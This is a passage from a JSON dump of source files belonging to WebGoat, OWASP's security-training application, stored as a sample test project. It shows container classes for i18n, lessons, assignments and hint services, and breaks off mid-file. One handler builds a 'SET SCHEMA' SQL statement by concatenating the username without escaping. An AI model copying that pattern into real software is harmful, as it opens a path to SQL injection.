    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/i18n/Language.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2017 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n * <p>\n */\n\npackage org.owasp.webgoat.container.i18n;\n\nimport java.util.Locale;\nimport lombok.AllArgsConstructor;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\nimport org.springframework.web.servlet.LocaleResolver;\n\n/**\n * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the\n * HttpRequest object when asking for a Locale.\n *\n * @author nbaars\n * @date 2/7/17\n */\n@AllArgsConstructor\npublic class Language {\n\n  private final LocaleResolver localeResolver;\n\n  public Locale getLocale() {\n    return localeResolver.resolveLocale(\n        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/i18n/Messages.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2017 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n * <p>\n */\n\npackage org.owasp.webgoat.container.i18n;\n\nimport java.util.Properties;\nimport lombok.AllArgsConstructor;\nimport org.springframework.context.support.ReloadableResourceBundleMessageSource;\n\n/**\n * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a\n * way to get all messages\n *\n * @author zupzup\n */\n@AllArgsConstructor\npublic class Messages extends ReloadableResourceBundleMessageSource {\n\n  private final Language language;\n\n  /**\n   * Gets all messages for presented Locale.\n   *\n   * @return all messages\n   */\n  public Properties getMessages() {\n    return getMergedProperties(language.getLocale()).getProperties();\n  }\n\n  public String getMessage(String code, Object... args) {\n    return getMessage(code, args, language.getLocale());\n  }\n\n  public String getMessage(String code, String defaultValue, Object... args) {\n    return super.getMessage(code, args, defaultValue, language.getLocale());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2017 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n * <p>\n */\n\npackage org.owasp.webgoat.container.i18n;\n\nimport java.io.IOException;\nimport java.util.Properties;\nimport org.springframework.context.support.ReloadableResourceBundleMessageSource;\nimport org.springframework.core.io.support.ResourcePatternResolver;\n\n/**\n * Message resource bundle for plugins.\n *\n * @author nbaars\n * @date 2/4/17\n */\npublic class PluginMessages extends ReloadableResourceBundleMessageSource {\n  private static final String PROPERTIES_SUFFIX = \".properties\";\n\n  private final Language language;\n  private final ResourcePatternResolver resourcePatternResolver;\n\n  public PluginMessages(\n      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {\n    this.language = language;\n    this.setParentMessageSource(messages);\n    this.setBasename(\"WebGoatLabels\");\n    this.resourcePatternResolver = resourcePatternResolver;\n  }\n\n  @Override\n  protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {\n    Properties properties = new Properties();\n    long lastModified = System.currentTimeMillis();\n\n    try {\n      var resources =\n          resourcePatternResolver.getResources(\n              \"classpath:/lessons/**/i18n\" + \"/WebGoatLabels\" + PROPERTIES_SUFFIX);\n      for (var resource : resources) {\n        String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, \"\");\n        PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);\n        properties.putAll(holder.getProperties());\n      }\n    } catch (IOException e) {\n      logger.error(\"Unable to read plugin message\", e);\n    }\n\n    return new PropertiesHolder(properties, lastModified);\n  }\n\n  public Properties getMessages() {\n    return getMergedProperties(language.getLocale()).getProperties();\n  }\n\n  public String getMessage(String code, Object... args) {\n    return getMessage(code, args, language.getLocale());\n  }\n\n  public String getMessage(String code, String defaultValue, Object... args) {\n    return super.getMessage(code, args, defaultValue, language.getLocale());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java",
    "content": "package org.owasp.webgoat.container.lessons;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport javax.persistence.*;\nimport lombok.*;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author nbaars\n * @version $Id: $Id\n * @since November 25, 2016\n */\n@Getter\n@EqualsAndHashCode\n@Entity\npublic class Assignment {\n\n  @Id\n  @GeneratedValue(strategy = GenerationType.AUTO)\n  private Long id;\n\n  private String name;\n  private String path;\n\n  @Transient private List<String> hints;\n\n  private Assignment() {\n    // Hibernate\n  }\n\n  public Assignment(String name) {\n    this(name, name, new ArrayList<>());\n  }\n\n  public Assignment(String name, String path, List<String> hints) {\n    if (path.equals(\"\") || path.equals(\"/\") || path.equals(\"/WebGoat/\")) {\n      throw new IllegalStateException(\n          \"The path of assignment '\"\n              + name\n              + \"' overrides WebGoat endpoints, please choose a path within the scope of the\"\n              + \" lesson\");\n    }\n    this.name = name;\n    this.path = path;\n    this.hints = hints;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Category.java",
    "content": "package org.owasp.webgoat.container.lessons;\n\nimport lombok.Getter;\n\n/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author Bruce Mayhew <a href=\"http://code.google.com/p/webgoat\">WebGoat</a>\n * @version $Id: $Id\n * @since October 28, 2003\n */\npublic enum Category {\n  INTRODUCTION(\"Introduction\", 5),\n  GENERAL(\"General\", 100),\n\n  A1(\"(A1) Broken Access Control\", 301),\n  A2(\"(A2) Cryptographic Failures\", 302),\n  A3(\"(A3) Injection\", 303),\n\n  A5(\"(A5) Security Misconfiguration\", 305),\n  A6(\"(A6) Vuln & Outdated Components\", 306),\n  A7(\"(A7) Identity & Auth Failure\", 307),\n  A8(\"(A8) Software & Data Integrity\", 308),\n  A9(\"(A9) Security Logging Failures\", 309),\n  A10(\"(A10) Server-side Request Forgery\", 310),\n\n  CLIENT_SIDE(\"Client side\", 1700),\n\n  CHALLENGE(\"Challenges\", 3000);\n\n  @Getter private String name;\n  @Getter private Integer ranking;\n\n  Category(String name, Integer ranking) {\n    this.name = name;\n    this.ranking = ranking;\n  }\n\n  @Override\n  public String toString() {\n    return getName();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.container.lessons;\n\nimport static java.util.stream.Collectors.groupingBy;\n\nimport java.lang.reflect.Method;\nimport java.lang.reflect.ParameterizedType;\nimport java.util.*;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.Course;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n@Slf4j\n@Configuration\npublic class CourseConfiguration {\n\n  private final List<Lesson> lessons;\n  private final List<AssignmentEndpoint> assignments;\n  private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;\n\n  public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {\n    this.lessons = lessons;\n    this.assignments = assignments;\n    assignmentsByPackage =\n        this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));\n  }\n\n  @Bean\n  public Course course() {\n    lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));\n    return new Course(lessons);\n  }\n\n  private List<Assignment> createAssignment(Lesson lesson) {\n    var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());\n    if (CollectionUtils.isEmpty(endpoints)) {\n      log.warn(\"Lesson: {} has no endpoints, is this intentionally?\", lesson.getTitle());\n      return new ArrayList<>();\n    }\n    return endpoints.stream()\n        .map(\n            e ->\n                new Assignment(\n                    e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))\n        .toList();\n  }\n\n  private String getPath(Class<? extends AssignmentEndpoint> e) {\n    for (Method m : e.getMethods()) {\n      if (methodReturnTypeIsOfTypeAttackResult(m)) {\n        var mapping = getMapping(m);\n        if (mapping != null) {\n          return mapping;\n        }\n      }\n    }\n    throw new IllegalStateException(\n        \"Assignment endpoint: \"\n            + e\n            + \" has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or\"\n            + \" 'ResponseEntity<AttackResult>' please consider adding one\");\n  }\n\n  private boolean methodReturnTypeIsOfTypeAttackResult(Method m) {\n    if (m.getReturnType() == AttackResult.class) {\n      return true;\n    }\n    var genericType = m.getGenericReturnType();\n    if (genericType instanceof ParameterizedType) {\n      return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0]\n          == AttackResult.class;\n    }\n    return false;\n  }\n\n  private String getMapping(Method m) {\n    String[] paths = null;\n    // Find the path, either it is @GetMapping(\"/attack\") of GetMapping(path = \"/attack\") both are\n    // valid, we need to consider both\n    if (m.getAnnotation(RequestMapping.class) != null) {\n      paths =\n          ArrayUtils.addAll(\n              m.getAnnotation(RequestMapping.class).value(),\n              m.getAnnotation(RequestMapping.class).path());\n    } else if (m.getAnnotation(PostMapping.class) != null) {\n      paths =\n          ArrayUtils.addAll(\n              m.getAnnotation(PostMapping.class).value(),\n              m.getAnnotation(PostMapping.class).path());\n    } else if (m.getAnnotation(GetMapping.class) != null) {\n      paths =\n          ArrayUtils.addAll(\n              m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());\n    } else if (m.getAnnotation(PutMapping.class) != null) {\n      paths =\n          ArrayUtils.addAll(\n              m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());\n    }\n    if (paths == null) {\n      return null;\n    } else {\n      return Arrays.stream(paths).filter(path -> !\"\".equals(path)).findFirst().orElse(\"\");\n    }\n  }\n\n  private List<String> getHints(Class<? extends AssignmentEndpoint> e) {\n    if (e.isAnnotationPresent(AssignmentHints.class)) {\n      return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());\n    }\n    return Collections.emptyList();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Hint.java",
    "content": "/***************************************************************************************************\n *\n *\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n *\n */\n\npackage org.owasp.webgoat.container.lessons;\n\nimport lombok.Value;\n\n/**\n * Hint class.\n *\n * @author rlawson\n * @version $Id: $Id\n */\n@Value\npublic class Hint {\n\n  private String hint;\n  private String assignmentPath;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java",
    "content": "package org.owasp.webgoat.container.lessons;\n\nimport org.owasp.webgoat.container.users.WebGoatUser;\n\n/**\n * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and\n * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.\n */\npublic interface Initializeable {\n\n  void initialize(WebGoatUser webGoatUser);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.container.lessons;\n\nimport java.util.List;\nimport lombok.Getter;\nimport lombok.Setter;\n\n@Getter\n@Setter\npublic abstract class Lesson {\n\n  private static int count = 1;\n  private Integer id = null;\n  private List<Assignment> assignments;\n\n  /** Constructor for the Lesson object */\n  protected Lesson() {\n    id = ++count;\n  }\n\n  /**\n   * getName.\n   *\n   * @return a {@link java.lang.String} object.\n   */\n  public String getName() {\n    String className = getClass().getName();\n    return className.substring(className.lastIndexOf('.') + 1);\n  }\n\n  /**\n   * Gets the category attribute of the Lesson object\n   *\n   * @return The category value\n   */\n  public Category getCategory() {\n    return getDefaultCategory();\n  }\n\n  /**\n   * getDefaultCategory.\n   *\n   * @return a {@link org.owasp.webgoat.container.lessons.Category} object.\n   */\n  protected abstract Category getDefaultCategory();\n\n  /**\n   * Gets the title attribute of the HelloScreen object\n   *\n   * @return The title value\n   */\n  public abstract String getTitle();\n\n  /**\n   * Returns the default \"path\" portion of a lesson's URL.\n   *\n   * <p>\n   *\n   * <p>Legacy webgoat lesson links are of the form \"attack?Screen=Xmenu=Ystage=Z\". This method\n   * returns the path portion of the url, i.e., \"attack\" in the string above.\n   *\n   * <p>Newer, Spring-Controller-based classes will override this method to return \"*.do\"-styled\n   * paths.\n   *\n   * @return a {@link java.lang.String} object.\n   */\n  protected String getPath() {\n    return \"#lesson/\";\n  }\n\n  /**\n   * Get the link that can be used to request this screen.\n   *\n   * <p>Rendering the link in the browser may result in Javascript sending additional requests to\n   * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson\n   * selected by the user. Thanks to using the hash mark \"#\" and Javascript handling the clicks, the\n   * user will experience less waiting as the pages do not have to reload entirely.\n   *\n   * @return a {@link java.lang.String} object.\n   */\n  public String getLink() {\n    return String.format(\"%s%s.lesson\", getPath(), getId());\n  }\n\n  /**\n   * Description of the Method\n   *\n   * @return Description of the Return Value\n   */\n  public String toString() {\n    return getTitle();\n  }\n\n  public final String getId() {\n    return this.getClass().getSimpleName();\n  }\n\n  public final String getPackage() {\n    var packageName = this.getClass().getPackageName();\n    // package name is the direct package name below lessons (any subpackage will be removed)\n    return packageName.replaceAll(\"org.owasp.webgoat.lessons.\", \"\").replaceAll(\"\\\\..*\", \"\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java",
    "content": "package org.owasp.webgoat.container.lessons;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.sql.Connection;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.users.WebGoatUser;\nimport org.springframework.security.core.context.SecurityContextHolder;\n\n/**\n * Handler which sets the correct schema for the currently bounded user. This way users are not\n * seeing each other data and we can reset data for just one particular user.\n */\n@Slf4j\npublic class LessonConnectionInvocationHandler implements InvocationHandler {\n\n  private final Connection targetConnection;\n\n  public LessonConnectionInvocationHandler(Connection targetConnection) {\n    this.targetConnection = targetConnection;\n  }\n\n  @Override\n  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n    var authentication = SecurityContextHolder.getContext().getAuthentication();\n    if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) {\n      try (var statement = targetConnection.createStatement()) {\n        statement.execute(\"SET SCHEMA \\\"\" + user.getUsername() + \"\\\"\");\n      }\n    }\n    try {\n      return method.invoke(targetConnection, args);\n    } catch (InvocationTargetException e) {\n      throw e.getTargetException();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java",
    "content": "package org.owasp.webgoat.container.lessons;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\n\n/**\n * LessonInfoModel class.\n *\n * @author dm\n * @version $Id: $Id\n */\n@Getter\n@AllArgsConstructor\npublic class LessonInfoModel {\n\n  private String lessonTitle;\n  private boolean hasSource;\n  private boolean hasSolution;\n  private boolean hasPlan;\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java",
    "content": "/**\n * *************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n */\npackage org.owasp.webgoat.container.lessons;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * LessonMenuItem class.\n *\n * @author rlawson\n * @version $Id: $Id\n */\npublic class LessonMenuItem {\n\n  private String name;\n  private LessonMenuItemType type;\n  private List<LessonMenuItem> children = new ArrayList<>();\n  private boolean complete;\n  private String link;\n  private int ranking;\n\n  /**\n   * Getter for the field <code>name</code>.\n   *\n   * @return the name\n   */\n  public String getName() {\n    return name;\n  }\n\n  /**\n   * Setter for the field <code>name</code>.\n   *\n   * @param name the name to set\n   */\n  public void setName(String name) {\n    this.name = name;\n  }\n\n  /**\n   * Getter for the field <code>children</code>.\n   *\n   * @return the children\n   */\n  public List<LessonMenuItem> getChildren() {\n    return children;\n  }\n\n  /**\n   * Setter for the field <code>children</code>.\n   *\n   * @param children the children to set\n   */\n  public void setChildren(List<LessonMenuItem> children) {\n    this.children = children;\n  }\n\n  /**\n   * Getter for the field <code>type</code>.\n   *\n   * @return the type\n   */\n  public LessonMenuItemType getType() {\n    return type;\n  }\n\n  /**\n   * Setter for the field <code>type</code>.\n   *\n   * @param type the type to set\n   */\n  public void setType(LessonMenuItemType type) {\n    this.type = type;\n  }\n\n  /**\n   * addChild.\n   *\n   * @param child a {@link LessonMenuItem} object.\n   */\n  public void addChild(LessonMenuItem child) {\n    children.add(child);\n  }\n\n  @Override\n  public String toString() {\n    StringBuilder bldr = new StringBuilder();\n    bldr.append(\"Name: \").append(name).append(\" | \");\n    bldr.append(\"Type: \").append(type).append(\" | \");\n    return bldr.toString();\n  }\n\n  /**\n   * isComplete.\n   *\n   * @return the complete\n   */\n  public boolean isComplete() {\n    return complete;\n  }\n\n  /**\n   * Setter for the field <code>complete</code>.\n   *\n   * @param complete the complete to set\n   */\n  public void setComplete(boolean complete) {\n    this.complete = complete;\n  }\n\n  /**\n   * Getter for the field <code>link</code>.\n   *\n   * @return the link\n   */\n  public String getLink() {\n    return link;\n  }\n\n  /**\n   * Setter for the field <code>link</code>.\n   *\n   * @param link the link to set\n   */\n  public void setLink(String link) {\n    this.link = link;\n  }\n\n  public void setRanking(int ranking) {\n    this.ranking = ranking;\n  }\n\n  public int getRanking() {\n    return this.ranking;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java",
    "content": "/***************************************************************************************************\n *\n *\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n *\n */\n\npackage org.owasp.webgoat.container.lessons;\n\n/**\n * LessonMenuItemType class.\n *\n * @author rlawson\n * @version $Id: $Id\n */\npublic enum LessonMenuItemType {\n  CATEGORY,\n  LESSON,\n  STAGE\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java",
    "content": "package org.owasp.webgoat.container.lessons;\n\nimport java.io.IOException;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.regex.Pattern;\nimport lombok.Getter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.core.io.support.ResourcePatternResolver;\nimport org.springframework.stereotype.Component;\n\n@Component\n@Slf4j\npublic class LessonScanner {\n\n  private static final Pattern lessonPattern = Pattern.compile(\"^.*/lessons/([^/]*)/.*$\");\n\n  @Getter private final Set<String> lessons = new HashSet<>();\n\n  public LessonScanner(ResourcePatternResolver resourcePatternResolver) {\n    try {\n      var resources = resourcePatternResolver.getResources(\"classpath:/lessons/*/*\");\n      for (var resource : resources) {\n        // WG can run as a fat jar or as directly from file system we need to support both so use\n        // the URL\n        var url = resource.getURL();\n        var matcher = lessonPattern.matcher(url.toString());\n        if (matcher.matches()) {\n          lessons.add(matcher.group(1));\n        }\n      }\n      log.debug(\"Found {} lessons\", lessons.size());\n    } catch (IOException e) {\n      log.warn(\"No lessons found...\");\n    }\n  }\n\n  public List<String> applyPattern(String pattern) {\n    return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java",
    "content": "package org.owasp.webgoat.container.service;\n\nimport lombok.RequiredArgsConstructor;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController(\"/environment\")\n@RequiredArgsConstructor\npublic class EnvironmentService {\n\n  private final ApplicationContext context;\n\n  @GetMapping(\"/server-directory\")\n  public String homeDirectory() {\n    return context.getEnvironment().getProperty(\"webgoat.server.directory\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/HintService.java",
    "content": "/*\n * To change this license header, choose License Headers in Project Properties.\n * To change this template file, choose Tools | Templates\n * and open the template in the editor.\n */\n\npackage org.owasp.webgoat.container.service;\n\nimport java.util.Collection;\nimport java.util.List;\nimport org.owasp.webgoat.container.lessons.Assignment;\nimport org.owasp.webgoat.container.lessons.Hint;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * HintService class.\n *\n * @author rlawson\n * @version $Id: $Id\n */\n@RestController\npublic class HintService {\n\n  public static final String URL_HINTS_MVC = \"/service/hint.mvc\";\n  private final WebSession webSession;\n\n  public HintService(WebSession webSession) {\n    this.webSession = webSession;\n  }\n\n  /**\n   * Returns hints for current lesson\n   *\n   * @return a {@link java.util.List} object.\n   */\n  @GetMapping(path = URL_HINTS_MVC, produces = \"application/json\")\n  @ResponseBody\n  public List<Hint> getHints() {\n    Lesson l = webSession.getCurrentLesson();\n    return createAssignmentHints(l);\n  }\n\n  private List<Hint> createAssignmentHints(Lesson l) {\n    if (l != null) {\n      return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList();\n    }\n    return List.of();\n  }\n\n  private List<Hint> createHint(Assignment a) {\n    return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList();\n 